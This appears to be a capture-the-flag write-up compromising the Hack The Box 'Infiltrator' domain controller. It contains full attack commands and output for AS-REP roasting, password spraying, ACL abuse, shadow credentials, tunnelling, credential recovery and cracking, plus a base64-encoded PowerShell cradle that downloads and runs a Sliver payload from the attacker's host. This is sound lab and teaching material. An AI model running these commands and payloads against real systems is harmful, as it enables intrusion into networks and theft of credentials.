Recon

PORT      STATE SERVICE       VERSION
53/tcp    open  tcpwrapped
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Infiltrator.htb
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-02 14:47:05Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
|_ssl-date: 2024-09-02T14:48:52+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
15220/tcp open  tcpwrapped

The nmap scan has all the tell tale signs of an Active Directory Domain Controller. Within the scan result, on several occasions, I can find the FQDN of the machine dc01.infiltrator.htb. As such I add both the FQDN and the domain to my /etc/hosts file. Alongside the components of a Domain Controller this machine is also exposing a webserver on port 80.

Company Website

On a first glance the website looks rather benign and does not seem to have any user input fields or obvious software stack vulnerabilities.

Looking a bit further down on the website I find a listing of employees of the company. This list includes both their first and last names, which I can use to create a list of potential usernames. This is a very important stepping stone to enumerate the environment further and find any potentially ASREP-roastable users. To create this list I use the tool called username-anarchy, which cloned from its Github repository.

$ cat loot/employees.txt
Firstname,Lastname
Kevin,Turner
Amanda,Walker
Marcus,Harris
Lauren,Clark
Ethan,Rodriguez
David,Anderson
Olivia,Martinez
 
$ ~/tools/username-anarchy/username-anarchy -i loot/employees.txt > loot/usernames.txt

AS-REP Roasting

I now have a large variety of potential usernames for each employee, which I have to narrow down even further. I do this through the user enumeration feature of kerbrute.

$ ~/tools/kerbrute userenum --dc 10.129.177.15 -d infiltrator.htb loot/usernames.txt
 
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/
 
Version: v1.0.3 (9dad6e1) - 09/02/24 - Ronnie Flathers @ropnop
 
2024/09/02 17:05:52 >  Using KDC(s):
2024/09/02 17:05:52 >   10.129.177.15:88
 
2024/09/02 17:05:52 >  [+] VALID USERNAME:       k.turner@infiltrator.htb
2024/09/02 17:05:52 >  [+] VALID USERNAME:       a.walker@infiltrator.htb
2024/09/02 17:05:52 >  [+] VALID USERNAME:       m.harris@infiltrator.htb
2024/09/02 17:05:57 >  [+] VALID USERNAME:       l.clark@infiltrator.htb
2024/09/02 17:05:57 >  [+] VALID USERNAME:       e.rodriguez@infiltrator.htb
2024/09/02 17:06:01 >  [+] VALID USERNAME:       o.martinez@infiltrator.htb
2024/09/02 17:06:06 >  [+] VALID USERNAME:       d.anderson@infiltrator.htb
2024/09/02 17:06:09 >  Done! Tested 105 usernames (7 valid) in 16.844 seconds

After cleaning up the list of valid usernames I proceed to search for ASREP-roastable users with the help of netexec.

$ netexec ldap -u loot/usernames.txt -p '' -d infiltrator.htb --asreproast hashes.txt dc01.infiltrator.htb
SMB         10.129.177.15   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
LDAP        10.129.177.15   445    DC01             $krb5asrep$23$l.clark@INFILTRATOR.HTB:ef05582765ea18c23654ec8c1c0ac51f$5e6b481d9f3617386ed77e7b432702abd2741a72c6015a97691c6d61fb28f41f4af1b068f81a980a5ea85601880f6ad2ca41e0c9eeba3e8fe13099fd270bc00573df94503da57b50a22598f8c664d8d002bc9f53a2e3601c11062a7845e71c6cedb2f6fd522cb9fa635a3b912371e1d469287ac82ae3e2ced43181d1bc2742ca5bcd98cdd2ba63ff563f8efa23fa4b828d776eaafbfdd5db409e72d3edf4dd5cb53f5ec3d20b4f399329fe3e93559c54ca0cd63d61ca9edf5a9dc6de2d9bc8de849f0e227bf05182a15cbff103da655eef7452a45038e9414a3b932161894a6a747a92bc0299fb4b0a7c7d3e19b207298662

I get one hash back which belongs to the user l.clark. The password for whom can be cracked using the rockyou.txt wordlist and hashcat.

$ hashcat -m 18200 hashes/clark.txt rockyou.txt --show
$krb5asrep$23$l.clark@INFILTRATOR.HTB:ef05582765ea18c23654ec8c1c0ac51f$5e6b481d9f3617386ed77e7b432702abd2741a72c6015a97691c6d61fb28f41f4af1b068f81a980a5ea85601880f6ad2ca41e0c9eeba3e8fe13099fd270bc00573df94503da57b50a22598f8c664d8d002bc9f53a2e3601c11062a7845e71c6cedb2f6fd522cb9fa635a3b912371e1d469287ac82ae3e2ced43181d1bc2742ca5bcd98cdd2ba63ff563f8efa23fa4b828d776eaafbfdd5db409e72d3edf4dd5cb53f5ec3d20b4f399329fe3e93559c54ca0cd63d61ca9edf5a9dc6de2d9bc8de849f0e227bf05182a15cbff103da655eef7452a45038e9414a3b932161894a6a747a92bc0299fb4b0a7c7d3e19b207298662:WAT?watismypass!

Password Spraying

While this turned out to be a basically fruitless endeavor the error messages, which netexec returned gave me some insight about the users d.anderson and m.harris. Both accounts return STATUS_ACCOUNT_RESTRICTION, which means some kind of restriction (e.g. enforcement of policy restrictions, blank passwords not allowed, limited sign-in times) is in place.

$ netexec smb -u loot/usernames.txt -p 'WAT?watismypass!' -d infiltrator.htb --continue-on-success  dc01.infiltrator.htb
SMB         10.129.177.15   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.177.15   445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE
SMB         10.129.177.15   445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE
SMB         10.129.177.15   445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
SMB         10.129.177.15   445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!
SMB         10.129.177.15   445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB         10.129.177.15   445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB         10.129.177.15   445    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION

Bloodhound

Carrying on with the usual Active Directory information I employee the Bloodhound module of netexec.

$ netexec ldap -u l.clark -p 'WAT?watismypass!' -d infiltrator.htb --bloodhound  -c all  --dns-server 10.129.177.15 dc01.infiltrator.htb
SMB         10.129.177.15   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
LDAP        10.129.177.15   389    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!
LDAP        10.129.177.15   389    DC01             Resolved collection methods: group, psremote, container, acl, trusts, localadmin, session, rdp, dcom, objectprops
[17:30:57] ERROR    Unhandled exception in computer dc01.infiltrator.htb processing: The NETBIOS connection with the remote host timed out.                                                       computers.py:270
LDAP        10.129.177.15   389    DC01             Done in 00M 43S
LDAP        10.129.177.15   389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.129.177.15_2024-09-02_173014_bloodhound.zip

The paths around l.clark seem to be a dead end, but luckily I know that potentially d.anderson and m.harris have to same password with some additional restrictions.

From there I can see that d.anderson has an interesting GenericAll ACL other the Marketing Digital OU, which contains the user e.rodriguez.

Following along this path I can than see that e.rodriguez can than also add themselves to the Chief Marketing group. That can force a password change of the user m.harris, who is part of the Remote Management Users group.

Password in Description

Given that the amount of users within the environment is on the low end I also take a look at each user manually and noticed that the user k.turner has a password stored in their account description.

MATCH p = (u:User) 
WHERE u.description IS NOT NULL
RETURN p

They turn out to currently be another dead end and the password is not their domain password either.

$ netexec smb 'infiltrator.htb' -u 'k.turner' -p 'MessengerApp@Pass!'
SMB         10.129.231.134  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.134  445    DC01             [-] infiltrator.htb\k.turner:MessengerApp@Pass! STATUS_LOGON_FAILURE

Foothold as m.harris

NTLM Hash - e.rodriguez

Similarly as in Rebound I can use dacledit.py from Impacket to extend my GenericAll other the objects with the OU Marketing Digital, which means I will have a GenericAll over e.rodriguez.

To pull this of I first grab a TGT for d.anderson with the help of getTGT.py, as described below. From there I use dacledit.py to write the desired FullControl ACL to the OU, all while specifying the that the ACL should be inherited.

$ getTGT.py 'infiltrator.htb/d.anderson:WAT?watismypass!'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Saving ticket in d.anderson.ccache
 
$ KRB5CCNAME=d.anderson.ccache dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip 10.129.177.15
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20240902-180406.bak
[*] DACL modified successfully!

As a next step I want to get the NTLM hash for e.rodriguez. This step is somewhat up to personal preference and tools installed. I chose to get it through certipy-ad, but a combination of bloodyAD and PKINITtools is also an option.

$ KRB5CCNAME=d.anderson.ccache certipy-ad shadow auto -u 'd.anderson@infiltrator.htb' -k -dc-ip 10.129.177.15 -account 'e.rodriguez' -target 'dc01.infiltrator.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'E.rodriguez'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '0f3ddfb3-4067-f6ff-8d35-ab7eabad399f'
[*] Adding Key Credential with device ID '0f3ddfb3-4067-f6ff-8d35-ab7eabad399f' to the Key Credentials for 'E.rodriguez'
[*] Successfully added Key Credential with device ID '0f3ddfb3-4067-f6ff-8d35-ab7eabad399f' to the Key Credentials for 'E.rodriguez'
[*] Authenticating as 'E.rodriguez' with the certificate
[*] Using principal: e.rodriguez@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'e.rodriguez.ccache'
[*] Trying to retrieve NT hash for 'e.rodriguez'
[*] Restoring the old Key Credentials for 'E.rodriguez'
[*] Successfully restored the old Key Credentials for 'E.rodriguez'
[*] NT hash for 'E.rodriguez': b02e97f2fdb5c3d36f77375383449e56

ForceChangePassword - m.harris

With the NTLM hash acquired I can proceed along my chosen path towards m.harris. I do this by first getting a TGT as e.rodriguez and than using said TGT with bloodyAD to add myself to the group.

$ getTGT.py -hashes :b02e97f2fdb5c3d36f77375383449e56 'infiltrator.htb/e.rodriguez'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in e.rodriguez.ccache
 
$ KRB5CCNAME=e.rodriguez.ccache bloodyAD --host dc01.infiltrator.htb --dc-ip 10.129.3.166 -u e.rodriguez -k -d infiltrator.htb add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'e.rodriguez'
 

With this done I need get new TGT to make use of the new group membership. And now I use bloodyAD again to set the password of m.harris to a value of my choice.

$ getTGT.py -hashes :b02e97f2fdb5c3d36f77375383449e56 'infiltrator.htb/e.rodriguez'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in e.rodriguez.ccache
 
$ KRB5CCNAME=e.rodriguez.ccache bloodyAD --host dc01.infiltrator.htb --dc-ip 10.129.3.166 -u e.rodriguez -k -d infiltrator.htb set password 'm.harris' 'j1ndoshPASSWORD!'

Kerberos & winRM

The authentication with only username and password through evil-winrm fails right away, which most likely related to the account restrictions. As such I first have to setup my /etc/krb5.conf and grab a TGT for m.harris.

The former is done by using this Python script found in Github Gist, which will generate a correct Kerberos config for me to use.

/etc/krb5.conf
[libdefault]
        default_realm = INFILTRATOR.HTB
 
[realms]
        INFILTRATOR.HTB = {
                kdc = dc01.infiltrator.htb
                admin_server = dc01.infiltrator.htb
        }
 
[domain_realm]
        infiltrator.htb = INFILTRATOR.HTB
        .infiltrator.htb = INFILTRATOR.HTB

With this setup I grab yet another TGT and successfully log into the machine through winRM.

$ getTGT.py 'infiltrator.htb/m.harris:j1ndoshPASSWORD!'
 
$ KRB5CCNAME=m.harris.ccache evil-winrm -r infiltrator.htb -i dc01.infiltrator.htb

Shell as winrm_svc

During the usual enumeration shenanigans I find the non-default software Output Messenger and Output Messenger Server installed on the machine. You can find this information through a plethora of ways, running processes, open ports or directories in the file system among others. I found it while transferring tools other to the C:\ProgramData directory.

Unintended Path

During the release week of this machine there was an unintended privilege escalation path through the running MySQL database. Poking around in C:\ProgramData might have lead you to this archive C:\programdata\Output Messenger Server\temp\OutputMessengerMysql.zip and subsequently the file OutputMysql.ini. There I found the password for the root MySQL database user. After forwarding the database port to my machine I could interact with the database as the root user. Since it was running as NT AUTHORITY/SYSTEM I could read the root flag with LOAD_FILE.

I also take a mental and literal note of the user home directories under C:\Users\, which might come in handy later.

sliver@CLEAN_MATTRESS$ ls
 
C:\Users (9 items, 174 B)
=========================
drwxrwxrwx  Administrator                     <dir>  Tue Feb 20 04:06:20 -0700 2024
Lrw-rw-rw-  All Users -> C:\ProgramData       0 B    Sat Sep 15 00:28:48 -0700 2018
dr-xr-xr-x  Default                           <dir>  Mon Feb 19 04:55:44 -0700 2024
Lrw-rw-rw-  Default User -> C:\Users\Default  0 B    Sat Sep 15 00:28:48 -0700 2018
-rw-rw-rw-  desktop.ini                       174 B  Sat Sep 15 00:16:48 -0700 2018
drwxrwxrwx  M.harris                          <dir>  Fri Aug 02 16:51:48 -0700 2024
drwxrwxrwx  O.martinez                        <dir>  Mon Feb 19 18:45:25 -0700 2024
dr-xr-xr-x  Public                            <dir>  Mon Dec 04 10:22:18 -0700 2023
drwxrwxrwx  winrm_svc                         <dir>  Sun Feb 25 08:25:26 -0700 2024

Port Forwarding

Based on the documentation of Output Messenger I have to access a couple of ports if I want to connect to this application.

As such I make use of chisel to setup a SOCKS proxy, which will allow me to connect to all the necessary ports through proxychains. Running those commands will open a SOCKS proxy on port 1080 on my Linux machine.

attacker@kali$ ./chisel server --port 31338 --reverse
 
m.harris@infiltrator.htb$ ./chisel.exe client 10.10.14.117:31338 R:socks

While there is a Linux version of the app thanks to little (and later literal within Output Messenger) hints I decide to stick to the Windows version. Since I cannot connect to the HTB VPN from two machines at the same time I use SSH local port forwarding to forward the local SOCKS proxy from my Kali to my Windows VM.

attacker@windows$ ssh.exe -L 10800:127.0.0.1:1080 kali@

In the Windows VM I than install the Output Messenger client and the trial version of Proxifier. In the latter I configure my forwarded SOCKS proxy and activate the default rule to forward all traffic to localhost through the SOCKS proxy.

Output Messenger

When starting the Output Messenger (OM) Client for the first time I specify the server of 127.0.0.1:14121. But than leaves me with the question for a valid credential. Going all the way back to Password in Description I remember the so far worthless password for k.turner. This was indeed their OM password, which allows me to successfully login.

l.clark

The credential l.clark:WAT?watismypass! also works, you can also see the Wall, but the additional context from the developer is missing.

Residing in the left sidebar are several tools, which I will user through the course of the machine to become Domain Administrator. But right now as k.turner the Wall “message board” hold the most valuable information.

One message there is related to the previously exploit ASREP-roast describing that the security is aware and it seems I attacked the company just in time.

The other message gives an update on an in-house developed tool called UserExplorer and how it will be used. In the given demonstration k.turner also leaks the OM password for m.harris, which is D3v3l0p3r_Pass@1337!.

General_Chat

If you chose to use OM from a Linux system the general chat will advise you to switch over to the Windows version. This is a very good idea since the Linux version is actually missing some crucial features, which I have to make use of later.

Admin  Aug 22, 14:12
Hello everyone 😃
There have been some complaints regarding the stability of the "Output Messenger" application. In case you encounter any issues, please make sure you are using a Windows client. The Linux version is outdated.

Dev_Chat

The developer chat accessible to k.turner give a bit more context about the UserExplorer and also about a possible password stored encrypted within the application.

OM as m.harris

Switching user accounts in Output Messenger and logging in as m.harris with the leaked password. Going through the application I find a chat with the admin user, that has the aforementioned UserExplorer.exe as a chat attachment.

Decompile UserExplorer.exe

Since the developers talked about C# I immediately throw the binary into dnSpy to see if it really is C# and decompile at the same time. The better way would be to check first using something like detect-it-easy ¯\_(ツ)_/¯.

The function DecryptString does and some basic AES crypto and from the main() I can gather the used key and cipher-text.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
 
// Token: 0x02000002 RID: 2
public class Decryptor
{
	// Token: 0x06000002 RID: 2 RVA: 0x00002058 File Offset: 0x00000258
	public static string DecryptString(string key, string cipherText)
	{
		string text;
		using (Aes aes = Aes.Create())
		{
			aes.Key = Encoding.UTF8.GetBytes(key);
			aes.IV = new byte[16];
			ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
			using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
			{
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
				{
					using (StreamReader streamReader = new StreamReader(cryptoStream))
					{
						text = streamReader.ReadToEnd();
					}
				}
			}
		}
		return text;
	}
}
using System;
using System.DirectoryServices;
 
// Token: 0x02000003 RID: 3
internal class LdapApp
{
	// Token: 0x06000004 RID: 4 RVA: 0x0000213C File Offset: 0x0000033C
	private static void Main(string[] args)
	{
		string text = "LDAP://dc01.infiltrator.htb";
		string text2 = "";
		string text3 = "";
		string text4 = "";
		string text5 = "winrm_svc";
		string text6 = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
		int i = 0;
		while (i < args.Length)
		{
			string text7 = args[i].ToLower();
			if (text7 != null)
			{
				if (!(text7 == "-u"))
				{
					if (!(text7 == "-p"))
					{
						if (!(text7 == "-s"))
						{
							if (!(text7 == "-default"))
							{
								goto IL_C2;
							}
							text2 = text5;
							text3 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", text6);
						}
[...]

Decryptor

To decrypt the password I recycle some parts of the code to build my own decryptor in C#. You could “translate” it into any language of your choice, but I wanted to stick with the original language. I ran the final code on the website cs-core.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
 
public class Decryptor
{
    public static string DecryptString(string key, string cipherText)
    {
        string decryptedText;
        using (Aes aes = Aes.Create())
        {
            aes.Key = Encoding.UTF8.GetBytes(key);
            aes.IV = new byte[16]; // Assuming a zeroed IV for simplicity, though usually it's passed alongside the encrypted text.
 
            ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
            using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
            {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                {
                    using (StreamReader reader = new StreamReader(cryptoStream))
                    {
                        decryptedText = reader.ReadToEnd();
                    }
                }
            }
        }
        return decryptedText;
    }
 
    public static void Main(string[] args)
    {
        string decrypted = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=");
        Console.WriteLine("Decrypted text first round: " + decrypted);
	string decrypted2 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", "SKqwQk81tgq+C3V7pzc1SA==");
	Console.WriteLine("Decrypted text second round: " + decrypted2);
    }
}

The decryption actually has to run twice to get the actual password for winrm_svc. This user is thankfully part of the Remote Management Users group, which allows me to log in though winRM.

Decrypted text first round: SKqwQk81tgq+C3V7pzc1SA==
Decrypted text second round: WinRm@$svc^!^P

Shell as o.martinez

OM local files

OM stores a plethora of files about itself and the chat conversations of the user in the C:\Users\???\appdata\roaming\Output Messenger directory. So while I am connected to machine as winrm_svc through winRM I download the entire directory to my machine.

The OM.db3 file contains a lot information about the chats, messages and chat rooms of a user. There I find the room id for the chiefs marketing chat, which I so far had no access to. With this id I could potentially query the OM API to the contents of a chat room. For this work I still need an API key.

sqlite@OM.db3$ .tables
om_chatroom               om_drive_files            om_preset_message
om_chatroom_user          om_escape_message         om_reminder
om_custom_group_new       om_hide_usergroup         om_settings
om_custom_group_user_new  om_notes                  om_user_master
om_custom_status          om_notes_user             om_user_photo
sqlite@OM.db3$ select * from om_chatroom;
1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||

OM as winrm_svc

Besides looking through the local files of OM I can also log in as winrm_svc with the very same password. In the notes feature of OM I find an API key, hopefully for the OM API. This feature however does not work properly on Linux, which the hint in the general chat sort of alluded to.

lan_managment  api key 558R501T5I6024Y8JV3B7KOUN1A518GG

API Access

After reading the documentation of the API I build this curl command which will let me query the Chiefs Marketing chat room for a given time frame.

$ proxychains curl -H "API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG" "http://localhost:14125/api/chatrooms/logs?roomkey=20240220014618@conference.com&fromdate=2024/01/24&todate=2024/12/25"

The original output contained a lot of escaped Unicode characters and the likes so I had to clean it up a bit. Alternatively the keen eye might also spot the password at the very bottom of the output, without any extra steps. In any case the user o.martinez readily shared their OM password in the chat room.

[...]
  </div>
  <div id='greybk'>
    <span class='nickname'>O.martinez Says: </span>
    <div class='msg_time'>02:09 AM</div>
    <div class='bullet'><img src='/Temp/bullets.png' class='read' title='' /></div>
    <div class='msg_body'>O.martinez : m@rtinez@1996!</div>
  </div>
</div>"

HasSession

With the password I now login as o.martinez and see that their calendar is actually populated with some events (ignore the extra event on 31.10.2024, I took this screenshot a bit too late). In the Bloodhound graph for o.martinez I also see that they have an active session on DC01. which leads me to believe that they might have OM opened. This is supported by the fact the they are the one of the few users that are shown as idle instead of offline.

During an earlier look at the calendar I noticed that this is rather dangerous calendar, because you can not only create meetings. but also visit websites or run applications at a predetermined time. So to get a shell as o.martinez I am going to create a new Run Application events, which will execute a Sliver stager. Since I went and did the intended path a few weeks after the original release Day Light Savings time caused a minor inconvenience. As such I created multiple events ranging from zero to two hours into the future, with varying minutes. This allowed me to infer the correct time based on the HTTP GET request to my Python webserver, where my Sliver loader was stored.

Since the file I want to run has to be present on my Windows VM and DC01 I create an empty .bat file at the same exact location. The file will run an encoded Powershell command to get me a Sliver session. After waiting a few minutes I am greeted by a new Sliver session as o.martinez.

sliver.bat
@echo off
powershell.exe -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEAMQA3ADoAOAAwADAAMAAvAHAAYQByAGEAYwBoAHUAdABlAC4AcABzADEAJwApAA==

Access to lan_managment

Once again I download the OM directory of a compromised user (o.martinez) through Sliver. In the received files I find a packet capture named network_capture_2024.pcapng.

Network Forensics

I load the .pcapng file into WireShark and take a look at the traffic. After a first glance the captured HTTP traffic seems to be the most promising lead. Following a HTTP stream and incrementing the stream number I find multiple key pieces of information.

The first finding is a very weak password passed to an application running at 192.168.1.106:5000. From the HTML in the subsequent streams I can gather that this password is the default password for the file sharing application.

POST /login HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.106:5000
Connection: keep-alive
Referer: http://192.168.1.106:5000/
Upgrade-Insecure-Requests: 1
 
authorization=securepassword

After that stream I also see that the user is viewing their stored files and one of them is a BitLocker backup. Since the are getting the actual file the HTTP response contains the file contents. Going through the manual file carving process (view data as Raw and convert From Hex in e.g. Cyberchef) I extract the backup.

GET /view/raw/BitLocker-backup.7z HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.106:5000/view/BitLocker-backup.7z
Cookie: session=eyJhdXRob3JpemF0aW9uIjoic2VjdXJlcGFzc3dvcmQifQ.ZdkzzA.K3sT3Ai7Sa9zWQDts-DMTRfp39Y
Upgrade-Insecure-Requests: 1
 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.1
Date: Sat, 24 Feb 2024 00:09:54 GMT
Content-Disposition: inline; filename=BitLocker-backup.7z
Content-Type: application/octet-stream
Content-Length: 209327
Last-Modified: Sat, 24 Feb 2024 00:09:29 GMT
Cache-Control: no-cache
ETag: 1708733369.3893352-209327-979573855
Date: Sat, 24 Feb 2024 00:09:54 GMT
Vary: Cookie
Connection: close
 
7z....

The user later did in fact change their default password and based on the password, I can assume that the user is o.martinez. Given that they readily shared their OM password I can assume that they probably reused this password elsewhere.

POST /api/change_auth_token HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.106:5000/files
Authorization: b0439fae31f8cbba6294af86234d5a28
new_auth_token: M@rtinez_P@ssw0rd!
Origin: http://192.168.1.106:5000
Connection: keep-alive
Cookie: session=eyJhdXRob3JpemF0aW9uIjoic2VjdXJlcGFzc3dvcmQifQ.ZdkzzA.K3sT3Ai7Sa9zWQDts-DMTRfp39Y
Content-Length: 0

Bitlocker Backup

The extracted Bitlocker backup is password protected so I first have to brute-force the password. I chose bruteforce since this seemed to be the most logical step. o.martinez did hint at how her passwords are created in one of the chats, but the explanation left too much room for interpretation.

$ 7z x Bitlocker-backup.7z

7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
 64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)

Extracting archive: Bitlocker-backup.7z
--
Path = Bitlocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):

Someone else already wrote a 7z bruteforce script and published it here as Gist in Github. I use this script and the rockyou.txt wordlist to gain access to its contents.

$ python3 ../exploits/7z-brute.py Bitlocker-backup.7z /usr/share/wordlists/rockyou.txt
Password found: zipper

And as advertised the file contained a french BitLocker recovery key.

CanRDP

With a possible domain password and a BitLocker recovery key in hand I decide to finally act on the CanRDP edge that o.martinez has.

Trying to RDP into the machine with only username and password fails so I first have to get a TGT for o.martinez. Afterwards I can successfully connect to the machine with rdesktop.

$ getTGT.py 'infiltrator.htb/o.martinez:M@rtinez_P@ssw0rd!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in o.martinez.ccache
 
$ KRB5CCNAME=o.martinez.ccache rdesktop -u 'o.martinez' -p 'M@rtinez_P@ssw0rd!' -d 'dc01.infiltrator.htb' -5 -K -r clipboard:CLIPBOARD 10.129.231.134
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using CredSSP.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

I am almost instantly greeted with a message about logon timer expiration, meaning I only have a few minutes, before I will be forcefully logged out.

After opening the Explorer I find an encrypted second drive, which I should be able to access with the recovery key. In the screenshot below I prematurely entered the key into the password field (which obviously does not work).

Under the More Options button I find the opportunity to enter my recovery key and gain access to yet another backup.

Since I am strapped for time I just copy the folder within into C:\ProgramData since I can still access this one from one of my Sliver sessions.

Windows Server Backup

Looking through the folder with something like tree or a ls -laR lead me to the Documents directory of the Administrator user within. There I find yet another backup called Backup_Credentials.7z. This time the file is not password protected and I can decompress it without any issues right away. Separated into two sub-directories I find a backup of the ntds.dit and the SYSTEM, SECURITY registry hives.

From there my first instinct was to use secretsdump.py to extract the NTLM hashes and Kerberos key for the domain users. However none of the hashes or keys allowed me access to the lan_managment user (beware the typo in the account name). I chose this user specifically since they are the key to becoming Domain Administrator, as you will see shortly.

Besides NTLM hashes the ntds.dit also stores information about the Active Directory and it object itself. Given that at least one user in this company like to stores password in the description of their accounts getting this information was me next goal-

I can do this by using a tool called ntdsdtosqlite, which can be comfortably installed through uv.

$ uv tool install ntdsdotsqlite
